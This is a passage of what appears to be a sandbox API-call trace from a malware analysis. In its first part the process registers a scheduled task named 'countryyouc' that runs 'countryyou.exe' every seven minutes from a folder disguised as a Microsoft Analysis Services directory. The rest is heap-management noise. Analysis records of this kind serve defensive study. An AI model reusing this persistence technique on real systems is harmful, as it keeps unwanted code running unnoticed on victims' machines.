varVal2=0x32524553524150), domain=0x25cf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0072.449] TaskScheduler:IUnknown:AddRef (This=0x35dee0) returned 0x2 [0072.449] TaskScheduler:ITaskService:GetFolder (in: This=0x35dee0, Path=0x0, ppFolder=0x25d008 | out: ppFolder=0x25d008*=0x347e00) returned 0x0 [0072.454] TaskScheduler:ITaskService:NewTask (in: This=0x35dee0, flags=0x0, ppDefinition=0x25d000 | out: ppDefinition=0x25d000*=0x347e50) returned 0x0 [0072.456] ITaskDefinition:get_Actions (in: This=0x347e50, ppActions=0x25cf80 | out: ppActions=0x25cf80*=0x347f10) returned 0x0 [0072.456] IActionCollection:Create (in: This=0x347f10, Type=0, ppAction=0x25cfa0 | out: ppAction=0x25cfa0*=0x346760) returned 0x0 [0072.456] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.456] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0072.456] lstrlenW (lpString=" ") returned 1 [0072.456] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0072.456] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0072.457] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0072.457] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0072.457] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0072.457] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0072.458] StrChrW (lpStart=" ", wMatch=0x4f) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x45) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0072.458] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0072.458] IUnknown:Release (This=0x346760) returned 0x1 [0072.458] IUnknown:Release (This=0x347f10) returned 0x1 [0072.458] ITaskDefinition:get_Triggers (in: This=0x347e50, ppTriggers=0x25cb00 | out: ppTriggers=0x25cb00*=0x3464d0) returned 0x0 [0072.459] ITriggerCollection:Create (in: This=0x3464d0, Type=1, ppTrigger=0x25caf8 | out: ppTrigger=0x25caf8*=0x3467d0) returned 0x0 [0072.459] lstrlenW (lpString="7") returned 1 [0072.459] _vsnwprintf (in: _Buffer=0x25ca80, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25ca78 | out: _Buffer="PT7M") returned 4 [0072.459] ITrigger:get_Repetition (in: This=0x3467d0, ppRepeat=0x25caf0 | out: ppRepeat=0x25caf0*=0x346860) returned 0x0 [0072.459] IRepetitionPattern:put_Interval (This=0x346860, Interval="PT7M") returned 0x0 [0072.459] IUnknown:Release (This=0x346860) returned 0x1 [0072.459] _vsnwprintf (in: _Buffer=0x25ca40, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25ca18 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0072.459] ITrigger:put_StartBoundary (This=0x3467d0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0072.459] lstrlenW (lpString="") returned 0 [0072.459] lstrlenW (lpString="") returned 0 [0072.459] lstrlenW (lpString="") returned 0 [0072.459] lstrlenW (lpString="") returned 0 [0072.460] IUnknown:Release (This=0x3467d0) returned 0x1 [0072.460] IUnknown:Release (This=0x3464d0) returned 0x1 [0072.460] ITaskDefinition:get_Settings (in: This=0x347e50, ppSettings=0x25cfa0 | out: ppSettings=0x25cfa0*=0x346540) returned 0x0 [0072.460] lstrlenW (lpString="") returned 0 [0072.460] IUnknown:Release (This=0x346540) returned 0x1 [0072.460] GetLocalTime (in: lpSystemTime=0x25ce58 | out: lpSystemTime=0x25ce58*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x38, wMilliseconds=0x337)) [0072.460] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0072.460] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0072.460] GetUserNameW (in: lpBuffer=0x25ce80, pcbBuffer=0x25ce68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25ce68) returned 1 [0072.461] ITaskDefinition:get_RegistrationInfo (in: This=0x347e50, ppRegistrationInfo=0x25ce50 | out: ppRegistrationInfo=0x25ce50*=0x346410) returned 0x0 [0072.461] IRegistrationInfo:put_Author (This=0x346410, Author="") returned 0x0 [0072.461] _vsnwprintf (in: _Buffer=0x25ce80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25ce18 | out: _Buffer="2023-09-19T17:16:56") returned 19 [0072.461] IRegistrationInfo:put_Date (This=0x346410, Date="") returned 0x0 [0072.461] IUnknown:Release (This=0x346410) returned 0x1 [0072.461] malloc (_Size=0x18) returned 0x347fb0 [0072.462] free (_Block=0x347fb0) [0072.462] lstrlenW (lpString="") returned 0 [0072.462] malloc (_Size=0x18) returned 0x347fb0 [0072.462] ITaskFolder:RegisterTaskDefinition (in: This=0x347e00, Path="countryyouc", pDefinition=0x347e50, flags=6, UserId=0x25d0f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25d130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25f000, varVal2=0xfe), LogonType=3, sddl=0x25d110*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25d010 | out: ppTask=0x25d010*=0x346a40) returned 0x0 [0072.910] free (_Block=0x347fb0) [0072.910] _memicmp (_Buf1=0x7bc30, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0072.910] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x7d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0072.910] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0072.910] GetProcessHeap () returned 0x60000 [0072.910] GetProcessHeap () returned 0x60000 [0072.910] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d760) returned 1 [0072.910] GetProcessHeap () returned 0x60000 [0072.910] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d760) returned 0xc [0072.910] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d760 | out: hHeap=0x60000) returned 1 [0072.910] GetProcessHeap () returned 0x60000 [0072.910] RtlAllocateHeap (HeapHandle=0x60000, Flags=0xc, Size=0x82) returned 0x99d90 [0072.910] _vsnwprintf (in: _Buffer=0x25d750, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25cfb8 | out: _Buffer="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n") returned 73 [0072.910] _fileno (_File=0x7feffe22ab0) returned -2 [0072.910] _errno () returned 0x344bb0 [0072.910] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0072.911] SetLastError (dwErrCode=0x6) [0072.911] lstrlenW (lpString="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n") returned 73 [0072.911] GetConsoleOutputCP () returned 0x0 [0072.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0072.911] GetConsoleOutputCP () returned 0x0 [0072.911] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n", cchWideChar=73, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"countryyouc\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 73 [0072.911] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 73 [0072.911] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0072.911] IUnknown:Release (This=0x346a40) returned 0x0 [0072.911] TaskScheduler:IUnknown:Release (This=0x347e50) returned 0x0 [0072.911] TaskScheduler:IUnknown:Release (This=0x347e00) returned 0x0 [0072.911] TaskScheduler:IUnknown:Release (This=0x35dee0) returned 0x1 [0072.912] lstrlenW (lpString="") returned 0 [0072.912] lstrlenW (lpString="7") returned 1 [0072.912] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="7", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0072.912] GetProcessHeap () returned 0x60000 [0072.912] GetProcessHeap () returned 0x60000 [0072.912] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c4f0) returned 1 [0072.912] GetProcessHeap () returned 0x60000 [0072.912] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c4f0) returned 0x1fc [0072.912] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c4f0 | out: hHeap=0x60000) returned 1 [0072.912] GetProcessHeap () returned 0x60000 [0072.912] GetProcessHeap () returned 0x60000 [0072.912] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75590) returned 1 [0072.912] GetProcessHeap () returned 0x60000 [0072.912] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75590) returned 0x4 [0072.912] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75590 | out: hHeap=0x60000) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6c0) returned 0x16 [0072.913] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6c0 | out: hHeap=0x60000) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6a0) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6a0) returned 0x18 [0072.913] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6a0 | out: hHeap=0x60000) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cf10) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.913] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cf10) returned 0x20 [0072.913] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cf10 | out: hHeap=0x60000) returned 1 [0072.913] GetProcessHeap () returned 0x60000 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c190) returned 1 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c190) returned 0xa0 [0072.914] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c190 | out: hHeap=0x60000) returned 1 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bc10) returned 1 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bc10) returned 0x18 [0072.914] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bc10 | out: hHeap=0x60000) returned 1 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccd0) returned 1 [0072.914] GetProcessHeap () returned 0x60000 [0072.914] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ccd0) returned 0x20 [0072.915] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ccd0 | out: hHeap=0x60000) returned 1 [0072.915] GetProcessHeap () returned 0x60000 [0072.915] GetProcessHeap () returned 0x60000 [0072.915] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3f0) returned 1 [0072.915] GetProcessHeap () returned 0x60000 [0072.915] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3f0) returned 0x8e [0072.916] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3f0 | out: hHeap=0x60000) returned 1 [0072.916] GetProcessHeap () returned 0x60000 [0072.916] GetProcessHeap () returned 0x60000 [0072.916] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6e0) returned 1 [0072.916] GetProcessHeap () returned 0x60000 [0072.916] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d6e0) returned 0x18 [0072.916] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d6e0 | out: hHeap=0x60000) returned 1 [0072.916] GetProcessHeap () returned 0x60000 [0072.916] GetProcessHeap () returned 0x60000 [0072.916] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cca0) returned 1 [0072.916] GetProcessHeap () returned 0x60000 [0072.916] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cca0) returned 0x20 [0072.917] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cca0 | out: hHeap=0x60000) returned 1 [0072.917] GetProcessHeap () returned 0x60000 [0072.917] GetProcessHeap () returned 0x60000 [0072.917] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7de50) returned 1 [0072.917] GetProcessHeap () returned 0x60000 [0072.917] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7de50) returned 0x90 [0072.917] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7de50 | out: hHeap=0x60000) returned 1 [0072.917] GetProcessHeap () returned 0x60000 [0072.917] GetProcessHeap () returned 0x60000 [0072.917] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d680) returned 1 [0072.917] GetProcessHeap () returned 0x60000 [0072.918] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d680) returned 0x18 [0072.918] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d680 | out: hHeap=0x60000) returned 1 [0072.918] GetProcessHeap () returned 0x60000 [0072.918] GetProcessHeap () returned 0x60000 [0072.918] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc70) returned 1 [0072.918] GetProcessHeap () returned 0x60000 [0072.918] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cc70) returned 0x20 [0072.918] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cc70 | out: hHeap=0x60000) returned 1 [0072.918] GetProcessHeap () returned 0x60000 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c4d0) returned 1 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c4d0) returned 0xe [0072.919] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c4d0 | out: hHeap=0x60000) returned 1 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c4b0) returned 1 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c4b0) returned 0x18 [0072.919] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c4b0 | out: hHeap=0x60000) returned 1 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ea0) returned 1 [0072.919] GetProcessHeap () returned 0x60000 [0072.919] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ea0) returned 0x20 [0072.920] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ea0 | out: hHeap=0x60000) returned 1 [0072.921] GetProcessHeap () returned 0x60000 [0072.921] GetProcessHeap () returned 0x60000 [0072.921] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bd90) returned 1 [0072.921] GetProcessHeap () returned 0x60000 [0072.921] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bd90) returned 0x208 [0072.921] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bd90 | out: hHeap=0x60000) returned 1 [0072.921] GetProcessHeap () returned 0x60000 [0072.921] GetProcessHeap () returned 0x60000 [0072.921] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbf0) returned 1 [0072.921] GetProcessHeap () returned 0x60000 [0072.921] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bbf0) returned 0x18 [0072.922] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bbf0 | out: hHeap=0x60000) returned 1 [0072.922] GetProcessHeap () returned 0x60000 [0072.922] GetProcessHeap () returned 0x60000 [0072.922] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75db0) returned 1 [0072.922] GetProcessHeap () returned 0x60000 [0072.922] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75db0) returned 0x20 [0072.922] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75db0 | out: hHeap=0x60000) returned 1 [0072.945] GetProcessHeap () returned 0x60000 [0072.945] GetProcessHeap () returned 0x60000 [0072.945] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d440) returned 1 [0072.945] GetProcessHeap () returned 0x60000 [0072.945] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d440) returned 0x200 [0072.946] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d440 | out: hHeap=0x60000) returned 1 [0072.946] GetProcessHeap () returned 0x60000 [0072.946] GetProcessHeap () returned 0x60000 [0072.946] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bc30) returned 1 [0072.946] GetProcessHeap () returned 0x60000 [0072.946] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bc30) returned 0x18 [0072.946] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bc30 | out: hHeap=0x60000) returned 1 [0072.947] GetProcessHeap () returned 0x60000 [0072.947] GetProcessHeap () returned 0x60000 [0072.947] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75d20) returned 1 [0072.947] GetProcessHeap () returned 0x60000 [0072.947] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75d20) returned 0x20 [0072.947] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75d20 | out: hHeap=0x60000) returned 1 [0072.947] GetProcessHeap () returned 0x60000 [0072.947] GetProcessHeap () returned 0x60000 [0072.947] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3a0) returned 1 [0072.947] GetProcessHeap () returned 0x60000 [0072.947] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3a0) returned 0x14 [0072.948] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3a0 | out: hHeap=0x60000) returned 1 [0072.948] GetProcessHeap () returned 0x60000 [0072.948] GetProcessHeap () returned 0x60000 [0072.948] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c380) returned 1 [0072.948] GetProcessHeap () returned 0x60000 [0072.948] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c380) returned 0x18 [0072.948] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c380 | out: hHeap=0x60000) returned 1 [0072.948] GetProcessHeap () returned 0x60000 [0072.948] GetProcessHeap () returned 0x60000 [0072.948] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c60) returned 1 [0072.948] GetProcessHeap () returned 0x60000 [0072.948] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c60) returned 0x20 [0072.949] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c60 | out: hHeap=0x60000) returned 1 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3c0) returned 1 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c3c0) returned 0x16 [0072.949] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c3c0 | out: hHeap=0x60000) returned 1 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7c240) returned 1 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7c240) returned 0x18 [0072.949] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7c240 | out: hHeap=0x60000) returned 1 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c30) returned 1 [0072.949] GetProcessHeap () returned 0x60000 [0072.949] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c30) returned 0x20 [0072.950] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c30 | out: hHeap=0x60000) returned 1 [0072.950] GetProcessHeap () returned 0x60000 [0072.950] GetProcessHeap () returned 0x60000 [0072.950] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb70) returned 1 [0072.950] GetProcessHeap () returned 0x60000 [0072.950] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7bb70) returned 0x2 [0072.950] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7bb70 | out: hHeap=0x60000) returned 1 [0072.950] GetProcessHeap () returned 0x60000 [0072.950] GetProcessHeap () returned 0x60000 [0072.950] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a80) returned 1 [0072.950] GetProcessHeap () returned 0x60000 [0072.950] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a80) returned 0x20 [0072.951] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a80 | out: hHeap=0x60000) returned 1 [0072.951] GetProcessHeap () returned 0x60000 [0072.951] GetProcessHeap () returned 0x60000 [0072.951] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ab0) returned 1 [0072.951] GetProcessHeap () returned 0x60000 [0072.951] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ab0) returned 0x20 [0072.951] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ab0 | out: hHeap=0x60000) returned 1 [0072.951] GetProcessHeap () returned 0x60000 [0072.952] GetProcessHeap () returned 0x60000 [0072.952] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75ae0) returned 1 [0072.952] GetProcessHeap () returned 0x60000 [0072.952] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75ae0) returned 0x20 [0072.952] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75ae0 | out: hHeap=0x60000) returned 1 [0072.952] GetProcessHeap () returned 0x60000 [0072.952] GetProcessHeap () returned 0x60000 [0072.952] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b10) returned 1 [0072.952] GetProcessHeap () returned 0x60000 [0072.952] 